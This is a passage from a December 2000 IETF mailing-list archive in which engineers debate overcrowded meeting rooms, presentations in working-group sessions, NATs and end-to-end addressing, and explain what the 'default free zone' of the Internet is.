Corp. |Whose cruel idea was it for the word "lisp" to| |francis@ecal.com|have an "S" in it? | \===============================================================/ From owner-ietf-outbound Tue Dec 19 14:40:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA22855 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 14:40:02 -0500 (EST) Received: from windlord.worldwidepackets.com ([12.46.89.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21870 for ; Tue, 19 Dec 2000 14:08:21 -0500 (EST) Received: by windlord.worldwidepackets.com with Internet Mail Service (5.5.2653.19) id ; Tue, 19 Dec 2000 11:08:09 -0800 Message-ID: <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> From: Matthew Goldman To: "'Keith Moore'" Cc: ietf@ietf.org Subject: RE: 49th-IETF conf room planning Date: Tue, 19 Dec 2000 11:08:06 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Ok, so the issue now is not about Vegas as an acceptable location, but rather about which participants have the "right" and "priviledge" to attend a meeting? Speaking for myself, but I'm sure this applies to more than just me: I read the relevant RFCs and drafts ("did my homework"), but I am not "active" by the strict definitions some have used in this thread (at least not yet). I pre-paid the meeting fee (in good faith that in return for accepting my meeting fee, the IETF would provide meeting facilities commensurate to enable my participation), I paid for travel and went. I followed all IETF policies and procedures. Therefore, do I not have the "right" to be able to sit comfortably in a meeting room and be able to hear the speakers, and participate if I chose to, as much as anyone else? What happened in San Diego happened. Oops. What we are talking about is future meeting planning. If you strictly limit attendance to a meeting room based on previous participation, you will have no new participation, or "cross fertilization" of ideas (as someone stated). Plus, who defines the strict attendance laws? Who enforces them? Who checks that this enforcement is fair and equal? I submit that this is impossible to manage, particularly given the demographics of the attendees. Will new IETF bylaws be created to define this special class (which of course will not violate public laws)? Will the IETF refuse to accept pre-paid applications based on these rules, or will they re-emburse delegates their meeting fee and travel expenses, if delegates are "asked to leave" a meeting for no other purpose other than because there is insufficient space provided? How will the IETF handle possible lawsuits stemming from disenfranchised delegates? The whole idea of even attempting to implement any of this is simply ludicrous. Nothing other than fair, open access is practical. Attendance numbers from past meetings can easily be used to project future attendance levels and plan accordingly. Attempting to setup "classes" or levels of participants while collecting meeting fees in advance (in good faith that those paying the fees will be able to attend the meetings), is foolhardy and fraught with legal implications. My last many $$$ worth on this subject. Matthew Goldman > -----Original Message----- > From: Keith Moore [mailto:moore@cs.utk.edu] > Sent: Monday, December 18, 2000 8:55 PM > To: Matthew Goldman > Cc: 'Keith Moore'; 'Randall Gellens'; Daniel Senie; Michael > Richardson; > ietf@ietf.org > Subject: Re: 49th-IETF conf room planning > > > > It makes absolutely no sense to have someone pre-pay a > meeting fee, pay to > > travel to a location, attempt to attend a meeting, and be > turned-away. > > I disagree in the strongest possible terms. > > it makes a great deal of sense if the purpose of the meeting > is to get > technical work done, rather than to spoonfeed people who > can't be bothered > to read the background material. and we're seeing entirely too much > spoonfeeding in meetings these days - witness the tremendous amount of > precious meeting time that is devoted to presentations of *material > already explained in the relevant drafts*, rather than discussion. > > OTOH I happen to feel that it's quite useful if IETF folks who > actively participate in some WGs, drop in on the meetings of other > WGs. we need to encourage cross-pollenation between groups. > > but we don't need to encourage non-participants to attend > IETF meetings. > > > In addition, turning away people who wish to attend seems > counter to the > > IETF spirit. > > the IETF spirit has always been to include anyone *who does > his/her homework* > > Keith > From owner-ietf-outbound Tue Dec 19 15:00:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23249 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 15:00:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22102 for ; Tue, 19 Dec 2000 14:16:07 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA09308; Tue, 19 Dec 2000 14:15:58 -0500 (EST) Message-Id: <200012191915.OAA09308@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: smd@ebone.net (Sean Doran) cc: smb@research.att.com, tytso@mit.edu, iab@isi.edu, ietf@ietf.org, J.Crowcroft@CS.UCL.AC.UK, mfisk@lanl.gov, moore@cs.utk.edu, perry@piermont.com Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Tue, 19 Dec 2000 15:46:49 +0100." <20001219144649.0087F899@sean.ebone.net> Date: Tue, 19 Dec 2000 14:14:43 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Steve Bellovin, on IPSEC, not-AH: > > | [A] host's identity is represented by its certificate (I'm speaking a bit > | loosely here); its IP address is merely the way that packets reach it. > > This is an example of two separate namespaces that allow one > to distinguish between "who" and "where". That the network > layer can be rewritten to the point of total protocol substitution > without interfering with the identification of who sent it > is a feature, adding enormous flexibility into the development > of network features. agreed, *provided* there is a fast and reliable service for mapping between one kind of identity and another. arguments of the form "separate identities are better" tend to gloss over the difficulty of providing an adequate mapping service. (Hint: DNS is neither sufficiently fast nor sufficiently reliable) the other problem with separating the layers is that the ability to drill down through layers is essential for diagnostic purposes, for tracking down miscreants, and to allow prototyping new kinds of services that need to operate with knowledge of layer 3. So we will always have a need for some kinds of "applications" to operate with knowledge of network addresses. Keith From owner-ietf-outbound Tue Dec 19 15:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23638 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 15:20:02 -0500 (EST) Received: from episteme-software.com ([64.198.230.34]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22464 for ; Tue, 19 Dec 2000 14:27:55 -0500 (EST) Received: from [64.198.230.35] (64.198.230.35) by episteme-software.com with ESMTP (Eudora Internet Mail Server 3.0.2); Tue, 19 Dec 2000 11:20:10 -0600 Mime-Version: 1.0 X-Sender: resnick@resnick1.qualcomm.com (Unverified) Message-Id: In-Reply-To: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> References: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> X-Mailer: Eudora [Macintosh version 5.1a1-12.00] Date: Tue, 19 Dec 2000 11:20:06 -0600 To: Frank Kastenholz From: Pete Resnick Subject: Re: IETF logistics Cc: RJ Atkinson , ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org On 12/19/00 at 11:07 AM -0500, Frank Kastenholz wrote: >At 09:28 AM 12/19/00 -0500, RJ Atkinson wrote: > >We can also end the de facto practice of > >using the sessions as tutorials and discontinue fancy prepared > >presentations of the material already in the I-Ds. While > >tutorials are a fine thing, they are appropriate for USENIX > >or Interop, not IETF WG sessions, IMHO. > >I tried doing this in my area when I was on the IESG. >It didn't work. The chairs and attendees want this stuff. Maybe I'm the odd exception, but not only don't I want this stuff, I try to enforce this as best I can in the sessions I chair. In BOFs, there are bound to be some presentations, but in WG sessions, there is really very little reason for it. How about a first step: In WG sessions that I chair, there are going to be no more presentations. From now on, one week before the IETF meeting, document editors will be required to send me a list of outstanding issues they wish to discuss in the WG session for their particular drafts. I will make up the slides for all of the editors with the lists that they propose and their discussion during the WG meeting will be limited to those lists (with some wiggle room for last minute additions by the WG). These lists can be posted to the WG mailing list before the meeting so that if others need explanation, they can ask (either on the list or directly to the document editor) what those issues entail. How about it? Other chairs wish to join me in this mission? pr -- Pete Resnick Eudora Engineering - QUALCOMM Incorporated From owner-ietf-outbound Tue Dec 19 15:30:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23799 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 15:30:03 -0500 (EST) Received: from episteme-software.com ([64.198.230.34]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22468 for ; Tue, 19 Dec 2000 14:27:55 -0500 (EST) Received: from [64.198.230.35] (64.198.230.35) by episteme-software.com with ESMTP (Eudora Internet Mail Server 3.0.2); Tue, 19 Dec 2000 12:12:57 -0600 Mime-Version: 1.0 X-Sender: resnick@resnick1.qualcomm.com (Unverified) Message-Id: In-Reply-To: <14911.38185.69675.522594@localhost.localdomain> References: <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <14911.38185.69675.522594@localhost.localdomain> X-Mailer: Eudora [Macintosh version 5.1a1-12.00] Date: Tue, 19 Dec 2000 12:12:56 -0600 To: "Scott Brim" From: Pete Resnick Subject: Re: IETF logistics Cc: Frank Kastenholz , RJ Atkinson , ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org On 12/19/00 at 12:04 PM -0500, Scott Brim wrote: >I would suggest that chairs try setting the agenda around issues, not >around drafts themselves. The main point of the face-to-face meetings >is to resolve issues that cannot be resolved by mail. Put those on the >agenda, and let the combatants present as much tutorial information as >they feel is necessary to make their point -- but don't set up the >editor of a particular draft to give a presentation first, followed by >discussion. Don't even put the draft title on the agenda, just in the >preliminary mail sent out before the meeting. Thoughts? I think you have this backwards. The job of an IETF WG is not to resolve issues per se; it's to write Internet-Drafts. Now, I do agree that the editors should NOT be presenting the draft; that's silly. However, the issues that the face-to-face meetings should be dealing with are *only* those that pertain to a particular draft. If noone has written down at least a straw-man I-D, then I don't think it's worth discussing the issue at all. So, have the editors cull out the open issues from their drafts, and put only those issues on the agenda. No tutorials at all should be needed if there is sufficient text in the I-D (or suggested replacement text posted to the mailing list) to define the issue. pr -- Pete Resnick Eudora Engineering - QUALCOMM Incorporated Ph: (217)337-6377 or (858)651-4478, Fax: (858)651-1102 From owner-ietf-outbound Tue Dec 19 15:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA24075 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 15:40:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22831 for ; Tue, 19 Dec 2000 14:39:57 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA09873; Tue, 19 Dec 2000 14:39:56 -0500 (EST) Message-Id: <200012191939.OAA09873@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Matthew Goldman cc: "'Keith Moore'" , ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-reply-to: Your message of "Tue, 19 Dec 2000 11:08:06 PST." <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> Date: Tue, 19 Dec 2000 14:38:42 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Speaking for myself, but I'm sure this applies to more than just me: I read > the relevant RFCs and drafts ("did my homework"), but I am not "active" by > the strict definitions some have used in this thread (at least not yet). I > pre-paid the meeting fee (in good faith that in return for accepting my > meeting fee, the IETF would provide meeting facilities commensurate to > enable my participation), I paid for travel and went. I followed all IETF > policies and procedures. Therefore, do I not have the "right" to be able to > sit comfortably in a meeting room and be able to hear the speakers, and > participate if I chose to, as much as anyone else? You did your homework, so I don't see why not. What I was objecting to is the notion that merely paying the meeting fees and travelling to the conference location entitles one to participate, or even to attend. > What happened in San Diego happened. Oops. What we are talking about is > future meeting planning. right. and perhaps the planning for future meetings should consider how to discourage attendance for those who are not willing to come prepared. > If you strictly limit attendance to a meeting room based on previous > participation, you will have no new participation, or "cross fertilization" > of ideas (as someone stated). of course. I agree that lack of "previous participation" is not a good reason to limit attendance. > Plus, who defines the strict attendance laws? I think it will be difficult to *prevent* anyone from attending, but it might be possible to *discourage* attendance from bottom-feeders. (or similarly, to encourage prospective attendees to do their homework) > Will the IETF refuse to accept pre-paid applications > based on these rules I think it might be sufficient to warn applicants that they are expected to be prepared for the meetings by reading the drafts, and that those who do not demonstrate familiarity with the material may be asked to leave in order to make room for those who came prepared to get work done. > Nothing other than fair, open access is practical. what you call "open access" is not "fair" to those who invest their time and money attempting to accomplish useful work and find their efforts thwarted due to those who think that merely paying money entitles them to a seat in the room. Keith From owner-ietf-outbound Tue Dec 19 15:50:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA24418 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 15:50:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23081 for ; Tue, 19 Dec 2000 14:48:26 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA09962; Tue, 19 Dec 2000 14:48:17 -0500 (EST) Message-Id: <200012191948.OAA09962@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Dave Crocker cc: iab@iab.org, ietf@ietf.org Subject: Re: levels of end-to-end; lack thereof In-reply-to: Your message of "Tue, 19 Dec 2000 06:54:31 PST." <5.0.1.4.2.20001219064635.03e5d870@joy.songbird.com> Date: Tue, 19 Dec 2000 14:47:02 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Unfortunately, the production Internet (ie, since 1983) has never been > fully end-to-end at the IP layer. Never. this depends largely on what you call "the Internet". > It's fine to create a clean architecture, but not very helpful to ignore or > complain about market-driven extensions (or work-arounds, or...) to it. so we should pretend that everything is rosy then? (I can see it now... "Doctor Strangenet, or How I Learned to Stop Worrying and Love the NAT") > Folks -- people would not be making those extensions unless they > experienced benefit in them. understood. there is no question that NATs provide some localized, short-term benefit. just like burning rainforests, or producing toxic waste. > We claim to believe that the market is the ultimate venue for resolving > choice among standards. We need to acknowledge that that applies to > missing standards, as well as competing standards. The market may be the ultimate venue, but it isn't exactly blessed with foresight. We most certainly need to acknowledge that when markets develop "solutions" which damage the net, that it's often due to a lack of facilities in what the net provides. But that doesn't mean that we should axiomatically accept "market-driven 'solutions'" as viable in the long term. Keith From owner-ietf-outbound Tue Dec 19 16:00:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24675 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 16:00:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23110 for ; Tue, 19 Dec 2000 14:51:08 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA10048; Tue, 19 Dec 2000 14:51:02 -0500 (EST) Message-Id: <200012191951.OAA10048@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: RJ Atkinson cc: ietf@ietf.org Subject: Re: IETF logistics In-reply-to: Your message of "Tue, 19 Dec 2000 09:28:02 EST." <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> Date: Tue, 19 Dec 2000 14:49:47 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > What we can do for future IETFs is make the current > sporadic practice of reserving the front few rows of seats for > folks who have actually read the drafts and are involved in > implementation. why don't we reserve all *except* the last three rows for those who have read the drafts, leaving the last three rows for bottom feeders? Keith From owner-ietf-outbound Tue Dec 19 16:10:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24947 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 16:10:03 -0500 (EST) Received: from e2emsx.endtoend.com ([207.219.115.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23564 for ; Tue, 19 Dec 2000 15:16:15 -0500 (EST) Received: by E2EMSX with Internet Mail Service (5.5.2650.21) id ; Tue, 19 Dec 2000 15:12:32 -0500 Message-ID: From: Dave Robinson To: ietf@ietf.org Subject: Default free zone Date: Tue, 19 Dec 2000 15:12:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Can anybody explain what the "default free" zone of the Internet is or provide some documentation on what it is? Thanks, Dave From owner-ietf-outbound Tue Dec 19 16:30:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25462 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 16:30:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24541 for ; Tue, 19 Dec 2000 15:53:52 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id PAA13828; Tue, 19 Dec 2000 15:53:52 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id PAA10820; Tue, 19 Dec 2000 15:53:51 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id PAA19568; Tue, 19 Dec 2000 15:53:50 -0500 Date: Tue, 19 Dec 2000 15:53:50 -0500 From: V Guruprasad To: Jon Knight , ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001219155350.B19352@bubble.watson.ibm.com> References: <20001219112023.A19099@bubble.watson.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from J.P.Knight@lboro.ac.uk on Tue, Dec 19, 2000 at 18:04:52 +0000 X-Loop: ietf@ietf.org On Tue, 19 Dec 2000, Jon Knight wrote: > are on and what the address of their gateway router is. Not exactly what > I'd call omniscience. All right, I confess, I'm not perfect in summarising the existing art and relating to it (yet). I promise to gratefully acknowledge comments such as these that will doubtless help make the next revision more readable :) > Surely DNS addresses are more equivalent to the virtual memory No, in the sense I was arguing about, the DNS hostname points to a physical host (or interface, etc.), and is therefore a physical address. > of virtual memory is that it makes it easier for the user (well, > programmer) by hiding the nasty details of which physical address your IMHO, hiding is not the primary function of virtual memory addressing, although it does spin off as a powerful means of security (Section 2.1.3 - security by invisibility). > code and data live at. The whole point of the DNS is that it makes it > easier for the user by hiding the nasty details of what IP address you > need to talk to. And that's without getting into the situations where a That's high level programming language, not virtual addressing... This point is particularly brought out in my proposal, as the routing is literally accomplished as a (distributed) compilation (see attribute grammar examples in Section 2.4.4, page 28). > mention URNs at all and yet alot of what it seems to do appears similar to > the ideas behind the URN efforts of the IETF in the past. Similar sounding ideas, but no semantics match, really, since the underlying premises are fundamentally different. -p. From owner-ietf-outbound Tue Dec 19 16:50:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25761 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 16:50:02 -0500 (EST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24878 for ; Tue, 19 Dec 2000 16:06:37 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id NAA07451; Tue, 19 Dec 2000 13:06:08 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ADB03085; Tue, 19 Dec 2000 13:06:04 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.88 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14911.52665.627742.926801@localhost.localdomain> Date: Tue, 19 Dec 2000 16:06:01 -0500 To: Matthew Goldman Cc: "'Keith Moore'" , ietf@ietf.org Subject: RE: 49th-IETF conf room planning In-Reply-To: <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> References: <32A27D619DB0154C963D55F14552019D16D636@windlord.worldwidepackets.com> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 19 Dec 2000 at 11:08 -0800, Matthew Goldman apparently wrote: > Speaking for myself, but I'm sure this applies to more than just me: I read > the relevant RFCs and drafts ("did my homework"), but I am not "active" by > the strict definitions some have used in this thread (at least not yet). I > pre-paid the meeting fee (in good faith that in return for accepting my > meeting fee, the IETF would provide meeting facilities commensurate to > enable my participation), I paid for travel and went. I followed all IETF > policies and procedures. Therefore, do I not have the "right" to be able to > sit comfortably in a meeting room and be able to hear the speakers, and > participate if I chose to, as much as anyone else? Why did you go? What did you get out of it that you didn't get out of the mailing list? Results of in-person meetings are never final, and can be challenged by mail if you have good engineering reasons to do so. (I admit this is sometimes mostly theory, but you can appeal to the IESG if you think practice is deviating too much from theory.) > If you strictly limit attendance to a meeting room based on previous > participation, you will have no new participation, or "cross fertilization" > of ideas (as someone stated). Participation by mail before participation in person. ...Scott From owner-ietf-outbound Tue Dec 19 17:10:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26154 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 17:10:02 -0500 (EST) Received: from www.saloits.com ([208.42.140.127]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25103 for ; Tue, 19 Dec 2000 16:15:50 -0500 (EST) Received: (from salo@localhost) by www.saloits.com (8.9.3/8.9.3) id PAA00308 for ietf@ietf.org; Tue, 19 Dec 2000 15:15:17 -0600 (CST) (envelope-from salo) Date: Tue, 19 Dec 2000 15:15:17 -0600 (CST) From: "Timothy J. Salo" Message-Id: <200012192115.PAA00308@www.saloits.com> To: ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: <200012191951.OAA10048@astro.cs.utk.edu> X-Loop: ietf@ietf.org > From: Keith Moore > cc: ietf@ietf.org > Subject: Re: IETF logistics > Date: Tue, 19 Dec 2000 14:49:47 -0500 > > > What we can do for future IETFs is make the current > > sporadic practice of reserving the front few rows of seats for > > folks who have actually read the drafts and are involved in > > implementation. > > why don't we reserve all *except* the last three rows for those > who have read the drafts, leaving the last three rows for bottom > feeders? What happened to the proven and time-honored technique of getting to a meeting early if you want a seat? I know the argument is that we want to hang out in the hallways until the last minute and still get a seat (because we are more "important" than a bunch of the people that did get there early), but still... -tjs From owner-ietf-outbound Tue Dec 19 17:30:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26425 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 17:30:02 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25374 for ; Tue, 19 Dec 2000 16:26:28 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA03184 for ; Tue, 19 Dec 2000 13:23:16 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: References: <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> Date: Tue, 19 Dec 2000 13:26:10 -0800 To: ietf@ietf.org From: Paul Hoffman / VPNC Subject: Re: IETF logistics Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 11:20 AM -0600 12/19/00, Pete Resnick wrote: >How about it? Other chairs wish to join me in this mission? Yup. As someone who chaired a meeting where we had three presentations on three drafts that had already been on the list, and the discussion was all around topics that could have been brought to the list, I share your frustration. --Paul Hoffman, Director --VPN Consortium From owner-ietf-outbound Tue Dec 19 17:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26604 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 17:40:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25419 for ; Tue, 19 Dec 2000 16:28:33 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id QAA14236; Tue, 19 Dec 2000 16:28:30 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id QAA22872; Tue, 19 Dec 2000 16:28:30 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id QAA19610; Tue, 19 Dec 2000 16:28:29 -0500 Date: Tue, 19 Dec 2000 16:28:29 -0500 From: V Guruprasad To: Mike Fisk , ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001219162829.C19352@bubble.watson.ibm.com> References: <20001219112023.A19099@bubble.watson.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from mfisk@lanl.gov on Tue, Dec 19, 2000 at 11:07:32 -0800 X-Loop: ietf@ietf.org On Tue, 19 Dec 2000, Mike Fisk wrote: > explosion. So over time there becomes an established club of roots and > everybody else has to be a child. That creates a monopolistic situation > where you have to pay a root node for transit. It could work, but it > sounds worse than the existing DNS root mess. > > How do you preserve the decentralized resilience of the Internet with such > a hierarchy? We do have such a thing in the Internet today. It used to be DARPA, and now it's IANA, and is still very much US-centric; we have regional bodies spec'd out for IPv6 that will control not only names but also addresses. In the proposed framework, you would only ask your immediate provider for connectivity - (s)he doesn't have to coordinate nationally and internationally to give you an address, and it's enough if your chosen name doesn't clash with something already registered at the provider's name server. So I'd think it's less of a mess than the DNS and IP are today in that regard. > maintain a reasonable number (< 100k?) of peers. For efficient table > lookup, there would be a push to standardize on a length limitation. So > You've just created a situation where the root club will enforce > sufficient hierarchy so as to limit the size of route tables. Like //com/ibm/watson/affine/tmp/vinet.pdf? Seems to be working ok for now. What I'm wondering is why/whether the residual defects, which are common to the DNS, should detract from the improvements/alternatives/differences that you haven't commented on. thanks, -p. From owner-ietf-outbound Tue Dec 19 17:50:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26745 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 17:50:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25585 for ; Tue, 19 Dec 2000 16:37:07 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBJLb3CW168834; Tue, 19 Dec 2000 16:37:03 -0500 Message-Id: <200012192137.eBJLb3CW168834@black-ice.cc.vt.edu> To: Dave Robinson cc: ietf@ietf.org Subject: Re: Default free zone In-reply-to: Your message of "Tue, 19 Dec 2000 15:12:31 EST." X-URL: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Date: Tue, 19 Dec 2000 16:37:03 -0500 X-Loop: ietf@ietf.org On Tue, 19 Dec 2000 15:12:31 EST, Dave Robinson said: > Can anybody explain what the "default free" zone of the Internet is > or provide some documentation on what it is? It's the parts of the Internet core where the topology is sufficiently convoluted that a default route is a bad idea. Out towards the edges of the Internet, you can safely use a default route "this is going Out There, so feed it to our upstream connectivity provider and let THEM route it". When you don't have an upstream anymore (usually because you're a long-haul provider whos business is being an upstream for others, or a site sufficiently multi-homed that routing becomes interesting), you have to drop the default route and actually deal with a routing table. Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Tue Dec 19 18:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA27002 for ietf-outbound.10@ietf.org; Tue, 19 Dec 2000 18:00:03 -0500 (EST) Received: from cisco.com (sigma.cisco.com [171.69.63.142]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26129 for ; Tue, 19 Dec 2000 17:09:44 -0500 (EST) Received: (from dmm@localhost) by cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA06101; Tue, 19 Dec 2000 14:08:43 -0800 (PST) From: David Meyer Message-Id: <200012192208.OAA06101@cisco.com> Subject: Re: 49th-IETF conf room planning To: sbrim@cisco.com (Scott Brim) Date: Tue, 19 Dec 2000 14:08:43 -0800 (PST) Cc: Matthew.Goldman@worldwidepackets.com (Matthew Goldman), moore@cs.utk.edu ('Keith Moore'), ietf@ietf.org In-Reply-To: <14911.52665.627742.926801@localhost.localdomain> from "Scott Brim" at Dec 19, 2000 04:06:01 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit What I have observed is that the discussions in the face to face WG meetings are very useful, and frequently result in resolution (to be ratified by the WG's mailing list) of both technical and procedural issues (if the meetings are not useful for these purposes, why are we doing this in the first place). In addition, the number of people present certainly poses a logistical problem (ie. the rooms/hallways were too small), and in this way might have hurt WG progress (i.e., you couldn't get in). However, as I noted, the damage is due to logistical factors which are within our (IETF) control (i.e., get a bigger hotel). Said another way, I do not believe that the increased number of people has harmed the S/N ratio in any of my WGs, nor any that I attended. The people who participate participate and the people who don't don't. I don't have a 